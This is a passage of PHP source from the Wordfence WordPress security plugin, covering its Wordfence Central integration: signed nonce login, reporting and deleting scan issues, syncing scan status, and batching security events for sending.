		}

		// Pull down nonce.
		$request = new wfCentralAPIRequest(sprintf('/site/%s/login', $siteID), 'GET', null, array(), $defaultArgs);
		$nonceResponse = $request->execute();
		if ($nonceResponse->isError()) {
			$errorArray = $nonceResponse->returnErrorArray();
			throw new wfCentralAPIException($errorArray['errorMsg']);
		}
		$body = $nonceResponse->getJSONBody();
		if (!is_array($body) || !isset($body['nonce'])) {
			throw new wfCentralAPIException(__('Invalid response received from Wordfence Central when fetching nonce.', 'wordfence'));
		}
		$nonce = $body['nonce'];

		// Sign nonce to pull down JWT.
		$data = $nonce . '|' . $siteID;
		try {
			$signature = ParagonIE_Sodium_Compat::crypto_sign_detached($data, $secretKey);
		}
		catch (SodiumException $e) {
			throw new wfCentralConfigurationException('Signing failed, likely due to malformed secret key', $e);
		}
		$request = new wfCentralAPIRequest(sprintf('/site/%s/login', $siteID), 'POST', null, array(
			'data'      => $data,
			'signature' => ParagonIE_Sodium_Compat::bin2hex($signature),
		), $defaultArgs);
		$authResponse = $request->execute();
		if ($authResponse->isError()) {
			$errorArray = $authResponse->returnErrorArray();
			throw new wfCentralAPIException($errorArray['errorMsg']);
		}
		$body = $authResponse->getJSONBody();
		if (!is_array($body)) {
			throw new wfCentralAPIException(__('Invalid response received from Wordfence Central when fetching token.', 'wordfence'));
		}
		if (!isset($body['jwt'])) { // Possible authentication error.
			throw new wfCentralAPIException(__('Unable to authenticate with Wordfence Central.', 'wordfence'));
		}
		return $body['jwt'];
	}
}

class wfCentralAPIException extends Exception {

}

class wfCentralConfigurationException extends RuntimeException {

	public function __construct($message, $previous = null) {
		parent::__construct($message, 0, $previous);
	}

}

class wfCentral {

	/**
	 * @return bool
	 */
	public static function isSupported() {
		return function_exists('register_rest_route') && version_compare(phpversion(), '5.3', '>=');
	}

	/**
	 * @return bool
	 */
	public static function isConnected() {
		return self::isSupported() && ((bool) self::_isConnected());
	}

	/**
	 * @return bool
	 */
	public static function isPartialConnection() {
		return !self::_isConnected() && wfConfig::get('wordfenceCentralSiteID');
	}

	public static function _isConnected($forceUpdate = false) {
		static $isConnected;
		if (!isset($isConnected) || $forceUpdate) {
			$isConnected = wfConfig::get('wordfenceCentralConnected', false);
		}
		return $isConnected;
	}

	/**
	 * @param array $issue
	 * @return bool|wfCentralAPIResponse
	 */
	public static function sendIssue($issue) {
		return self::sendIssues(array($issue));
	}

	/**
	 * @param $issues
	 * @return bool|wfCentralAPIResponse
	 */
	public static function sendIssues($issues) {
		$data = array();
		foreach ($issues as $issue) {
			$issueData = array(
				'type'       => 'issue',
				'attributes' => $issue,
			);
			if (array_key_exists('id', $issueData)) {
				$issueData['id'] = $issue['id'];
			}
			$data[] = $issueData;
		}

		$siteID = wfConfig::get('wordfenceCentralSiteID');
		$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'POST', array(
			'data' => $data,
		));
		try {
			$response = $request->execute();
			return $response;
		}
		catch (wfCentralAPIException $e) {
			error_log($e);
		}
		catch (Exception $e) {
			wfCentralAPIRequest::handleInternalCentralAPIError($e);
		}
		catch (Throwable $t) {
			wfCentralAPIRequest::handleInternalCentralAPIError($t);
		}
		return false;
	}

	/**
	 * @param int $issueID
	 * @return bool|wfCentralAPIResponse
	 */
	public static function deleteIssue($issueID) {
		return self::deleteIssues(array($issueID));
	}

	/**
	 * @param $issues
	 * @return bool|wfCentralAPIResponse
	 */
	public static function deleteIssues($issues) {
		$siteID = wfConfig::get('wordfenceCentralSiteID');
		$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'DELETE', array(
			'data' => array(
				'type'       => 'issue-list',
				'attributes' => array(
					'ids' => $issues,
				)
			),
		));
		try {
			$response = $request->execute();
			return $response;
		}
		catch (wfCentralAPIException $e) {
			error_log($e);
		}
		catch (Exception $e) {
			wfCentralAPIRequest::handleInternalCentralAPIError($e);
		}
		catch (Throwable $t) {
			wfCentralAPIRequest::handleInternalCentralAPIError($t);
		}
		return false;
	}

	/**
	 * @return bool|wfCentralAPIResponse
	 */
	public static function deleteNewIssues() {
		$siteID = wfConfig::get('wordfenceCentralSiteID');
		$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'DELETE', array(
			'data' => array(
				'type'       => 'issue-list',
				'attributes' => array(
					'status' => 'new',
				)
			),
		));
		try {
			$response = $request->execute();
			return $response;
		}
		catch (wfCentralAPIException $e) {
			error_log($e);
		}
		catch (Exception $e) {
			wfCentralAPIRequest::handleInternalCentralAPIError($e);
		}
		catch (Throwable $t) {
			wfCentralAPIRequest::handleInternalCentralAPIError($t);
		}
		return false;
	}

	/**
	 * @param array $types Array of issue types to delete
	 * @param string $status Issue status to delete
	 * @return bool|wfCentralAPIResponse
	 */
	public static function deleteIssueTypes($types, $status = 'new') {
		$siteID = wfConfig::get('wordfenceCentralSiteID');
		$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'DELETE', array(
			'data' => array(
				'type'       => 'issue-list',
				'attributes' => array(
					'types' => $types,
					'status' => $status,
				)
			),
		));
		try {
			$response = $request->execute();
			return $response;
		}
		catch (wfCentralAPIException $e) {
			error_log($e);
		}
		catch (Exception $e) {
			wfCentralAPIRequest::handleInternalCentralAPIError($e);
		}
		catch (Throwable $t) {
			wfCentralAPIRequest::handleInternalCentralAPIError($t);
		}
		return false;
	}

	public static function requestConfigurationSync() {
		if (! wfCentral::isConnected() || !self::$syncConfig) {
			return;
		}

		$endpoint = '/site/'.wfConfig::get('wordfenceCentralSiteID').'/config';
		$args = array('timeout' => 0.01, 'blocking'  => false);
		$request = new wfCentralAuthenticatedAPIRequest($endpoint, 'POST', array(), $args);

		try {
			$request->execute();
		}
		catch (Exception $e) {
			// We can safely ignore an error here for now.
		}
		catch (Throwable $t) {
			wfCentralAPIRequest::handleInternalCentralAPIError($t);
		}
	}

	protected static $syncConfig = true;

	public static function preventConfigurationSync() {
		self::$syncConfig = false;
	}

	/**
	 * @param $scan
	 * @param $running
	 * @return bool|wfCentralAPIResponse
	 */
	public static function updateScanStatus($scan = null) {
		if ($scan === null) {
			$scan = wfConfig::get_ser('scanStageStatuses');
			if (!is_array($scan)) {
				$scan = array();
			}
		}
		
		wfScanner::shared()->flushSummaryItems();

		$siteID = wfConfig::get('wordfenceCentralSiteID');
		$running = wfScanner::shared()->isRunning();
		$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/scan', 'PATCH', array(
			'data' => array(
				'type'       => 'scan',
				'attributes' => array(
					'running'      => $running,
					'scan'         => $scan,
					'scan-summary' => wfConfig::get('wf_summaryItems'),
				),
			),
		));
		try {
			$response = $request->execute();
			wfConfig::set('lastScanStageStatusUpdate', time(), wfConfig::DONT_AUTOLOAD);
			return $response;
		}
		catch (wfCentralAPIException $e) {
			error_log($e);
		}
		catch (Exception $e) {
			wfCentralAPIRequest::handleInternalCentralAPIError($e);
		}
		catch (Throwable $t) {
			wfCentralAPIRequest::handleInternalCentralAPIError($t);
		}
		return false;
	}

	/**
	 * @param string $event
	 * @param array $data
	 * @param callable|null $alertCallback
	 */
	public static function sendSecurityEvent($event, $data = array(), $alertCallback = null, $sendImmediately = false) {
		return self::sendSecurityEvents(array(array('type' => $event, 'data' => $data, 'event_time' => microtime(true))), $alertCallback, $sendImmediately);
	}
	
	public static function sendSecurityEvents($events, $alertCallback = null, $sendImmediately = false) {
		if (empty($events)) {
			return true;
		}
		
		if (!$sendImmediately && defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) {
			$sendImmediately = true;
		}
		
		$alerted = false;
		if (!self::pluginAlertingDisabled() && is_callable($alertCallback)) {
			call_user_func($alertCallback);
			$alerted = true;
		}
		
		if ($sendImmediately) {
			$payload = array();
			foreach ($events as $e) {
				$payload[] = array(
					'type' => 'security-event',
					'attributes' => array(
						'type' => $e['type'],
						'data' => $e['data'],
						'event_time' => $e['event_time'],
					),
				);
			}
			
			$siteID = wfConfig::get('wordfenceCentralSiteID');
			$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/security-events', 'POST', array(
				'data' => $payload,
			));
			try {
				// Attempt to send the security events to Central.
				$doing_cron = function_exists('wp_doing_cron') /* WP >= 4.8 */ ? wp_doing_cron() : (defined('DOING_CRON') && DOING_CRON);
				$response = $request->execute($doing_cron ? 10 : 3);
			}
			catch (wfCentralAPIException $e) {
				// If we didn't alert previously, notify the user now in the event Central is down.
				if (!$alerted && is_callable($alertCallback)) {
					call_user_func($alertCallback);
				}
				return false;
			}
			catch (Exception $e) {
				wfCentralAPIRequest::handleInternalCentralAPIError($e);
				return false;
			}
			catch (Throwable $t) {
				wfCentralAPIRequest::handleInternalCentralAPIError($t);
				return false;
			}
		}
		else {
			$wfdb = new wfDB();
			$table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents');
			$query = "INSERT INTO {$table_wfSecurityEvents} (`type`, `data`, `event_time`, `state`, `state_timestamp`) VALUES ";
			$query .= implode(', ', array_fill(0, count($events), "('%s', '%s', %f, 'new', NOW())"));
			
			$immediateSendTypes = array('adminLogin',
										'adminLoginNewLocation',
										'nonAdminLogin',
										'nonAdminLoginNewLocation',
										'wordfenceDeactivated',
										'wafDeactivated',
										'autoUpdate');
			$args = array();
			foreach ($events as $e) {
				$sendImmediately = $sendImmediately || in_array($e['type'], $immediateSendTypes);
				$args[] = $e['type'];
				$args[] = json_encode($e['data']);
				$args[] = $e['event_time'];
			}
			$wfdb->queryWriteArray($query, $args);
			
			if (($ts = self::isScheduledSecurityEventCronOverdue()) || $sendImmediately) {
				if ($ts) {
					self::unscheduleSendPendingSecurityEvents($ts);
				}
				self::sendPendingSecurityEvents();
			}
			else {
				self::scheduleSendPendingSecurityEvents();
			}
		}
		
		return true;
	}
	
	public static function sendPendingSecurityEvents() {
		$wfdb = new wfDB();
		$table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents');
		
		$rawEvents = $wfdb->querySelect("SELECT * FROM {$table_wfSecurityEvents} WHERE `state` = 'new' ORDER BY `id` ASC LIMIT 100");

		if (empty($rawEvents))
			return;

		$ids = array();
		$events = array();
		foreach ($rawEvents as $r) {
			$ids[] = intval($r['id']);
			$events[] = array(
				'type' => $r['type'],
				'data' => json_decode($r['data'], true),
				'event_time' => $r['event_time'],
			);
		}
		
		$idParam = '(' . implode(', ', $ids) . ')';
		$wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'sending', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
		if (self::sendSecurityEvents($events, null, true)) {
			$wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'sent', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
			
			self::checkForUnsentSecurityEvents();
		}
		else {
			$wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
			self::scheduleSendPendingSecurityEvents();
		}
	}
	
	public static function scheduleSendPendingSecurityEvents() {
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		$notMainSite = is_multisite() && !is_main_site();
		if ($notMainSite) {
			global $current_site;
			switch_to_blog($current_site->blog_id);
		}
		if (!wp_next_scheduled('wordfence_batchSendSecurityEvents')) {
			wp_schedule_single_event(time() + 300, 'wordfence_batchSendSecurityEvents');
		}
		if ($notMainSite) {
			restore_current_blog();
		}
	}
	
	public static function unscheduleSendPendingSecurityEvents($timestamp) {
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		$notMainSite = is_multisite() && !is_main_site();
		if ($notMainSite) {
			global $current_site;
			switch_to_blog($current_site->blog_id);
		}
		if (!wp_next_scheduled('wordfence_batchSendSecurityEvents')) {
			wp_unschedule_event($timestamp, 'wordfence_batchSendSecurityEvents');
		}
		if ($notMainSite) {
			restore_current_blog();
		}
	}
	
	public static function isScheduledSecurityEventCronOverdue() {
		if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
		$notMainSite = is_multisite() && !is_main_site();
		if ($notMainSite) {
			global $current_site;
			switch_to_blog($current_site->blog_id);
		}
		
		$overdue = false;
		if ($ts = wp_next_scheduled('wordfence_batchSendSecurityEvents')) {
			if ((time() - $ts) > 900) {
				$overdue = $ts;
			}
		}
		
		if ($notMainSite) {
			restore_current_blog();
		}
		
		return $overdue;
	}
	
	public static function checkForUnsentSecurityEvents() {
		$wfdb = new wfDB();
		$table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents');
		$wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `state` = 'sending' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 30 MINUTE)");
		
		$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfSecurityEvents} WHERE `state` = 'new'");
		if ($count) {
			self::scheduleSendPendingSecurityEvents();
		}
	}
	
	public static function trimSecurityEvents() {
		$wfdb = new wfDB();
		$table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents');
		$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfSecurityEvents}");
		if ($count > 20000) {
			$wfdb->truncate($table_wfSecurityEvents); //Similar behavior to other logged data, assume possible DoS so truncate
		}
		else if ($count > 1000) {
			$wfdb->queryWrite("DELETE FROM {$table_wfSecurityEvents} ORDER BY id ASC LIMIT %d", $count - 1000);
		}
	}

	/**
	 * @param $event
	 * @param array $data
	 * @param callable|null $alertCallback
	 */
	public static function sendAlertCallback($event, $data = array(), $alertCallback = null) {
		if (is_callable($alertCallback)) {
			call_user_func($alertCallback);
		}
	}

	public static function pluginAlertingDisabled() {
		if (!self::isConnected()) {
			return false;
		}

		return wfConfig::get('wordfenceCentralPluginAlertingDisabled', false);
	}
	
	/**
	 * Returns the site URL as associated with this site's Central linking.
	 * 
	 * The return value may be:
	 *  - null if there is no `site-url` key present in the stored Central data
	 *  - a string if there is a `site-url` value
	 * 
	 * @return string|null
	 */
	public static function getCentralSiteUrl() {
		$siteData = json_decode(wfConfig::get('wordfenceCentralSiteData', '[]'), true);
		return (is_array($siteData) && array_key_exists('site-url', $siteData)) ? (string) $siteData['site-url'] : null;
	}
	
	/**
	 * Populates the Central record's site data if missing or incomplete locally.
	 * 
	 * @return array|bool
	 */
	public static function populateCentralSiteData() {
		if (!wfCentral::_isConnected()) {
			return false;
		}
		
		$siteData = json_decode(wfConfig::get('wordfenceCentralSiteData', '[]'), true);
		if (!is_array($siteData) || !array_key_exists('site-url', $siteData) || !array_key_exists('audit-log-url', $siteData)) {
			try {
				$request = new wfCentralAuthenticatedAPIRequest('/site/' . wfConfig::get('wordfenceCentralSiteID'), 'GET', array(), array('timeout' => 2));
				$response = $request->execute();
				if ($response->isError()) {
					return $response->returnErrorArray();
				}
				$responseData = $response->getJSONBody();
				if (is_array($responseData) && isset($responseData['data']['attributes'])) {
					$siteData = $responseData['data']['attributes'];
					wfConfig::set('wordfenceCentralSiteData', json_encode($siteData));
				}
			}
			catch (wfCentralAPIException $e) {
				return false;
			}
			catch (Exception $e) {
				wfCentralAPIRequest::handleInternalCentralAPIError($e);
				return false;
			}
			catch (Throwable $t) {
				wfCentralAPIRequest::handleInternalCentralAPIError($t);
				return false;
			}
		}
		return true;
	}
	
	public static function isCentralSiteUrlMismatched() {
		if (!wfCentral::_isConnected()) {
			return false;
		}
		
		$centralSiteUrl = self::getCentralSiteUrl();
		if (!is_string($centralSiteUrl)) {
			return false;
		}
		
		$localSiteUrl = get_site_url();
		return !wfUtils::compareSiteUrls($centralSiteUrl, $localSiteUrl, array('www'));
	}
	
	public static function mismatchedCentralUrlNotice() {
		echo '<div id="wordfenceMismatchedCentralUrlNotice" class="fade notice notice-warning"><p><strong>' .
			__('Your site is currently linked to Wordfence Central under a different site URL.', 'wordfence')
			. '</strong> '
			. __('This may cause duplicated scan issues if both sites are currently active and reporting and is generally caused by duplicating the database from one site to another (e.g., from a production site to staging). We recommend disconnecting this site only, which will leave the matching site still connected.', 'wordfence')
			. '</p><p>'
			. __('If this is a single site with multiple domains or subdomains, you can dismiss this message.', 'wordfence')
			. '</p><p>'
			. '<a class="wf-btn wf-btn-primary wf-btn-sm wf-dismiss-link" href="#" onclick="wordfenceExt.centralUrlMismatchChoice(\'local\'); return false;" role="button">' .
			__('Disconnect This Site', 'wordfence')
			. '</a> '
			. '<a class="wf-btn wf-btn-default wf-btn-sm wf-dismiss-link" href="#" onclick="wordfenceExt.centralUrlMismatchChoice(\'global\'); return false;" role="button">' .
			__('Disconnect All', 'wordfence')
			. '</a> '
			. '<a class="wf-btn wf-btn-default wf-btn-sm wf-dismiss-link" href="#" onclick="wordfenceExt.centralUrlMismatchChoice(\'dismiss\'); return false;" role="button">' .
			__('Dismiss', 'wordfence')
			. '</a> '
			. '<a class="wfhelp" target="_blank" rel="noopener noreferrer" href="' . wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_REMOVE_CENTRAL_DATA) . '"><span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a></p></div>';
	}
	
	/**
	 * Returns the audit log URL for this site in Wordfence Central.
	 *
	 * The return value may be:
	 *  - null if there is no `audit-log-url` key present in the stored Central data
	 *  - a string if there is a `audit-log-url` value
	 *
	 * @return string|null
	 */
	public static function getCentralAuditLogUrl() {
		$siteData = json_decode(wfConfig::get('wordfenceCentralSiteData', '[]'), true);
		return (is_array($siteData) && array_key_exists('audit-log-url', $siteData)) ? (string) $siteData['audit-log-url'] : null;
	}
}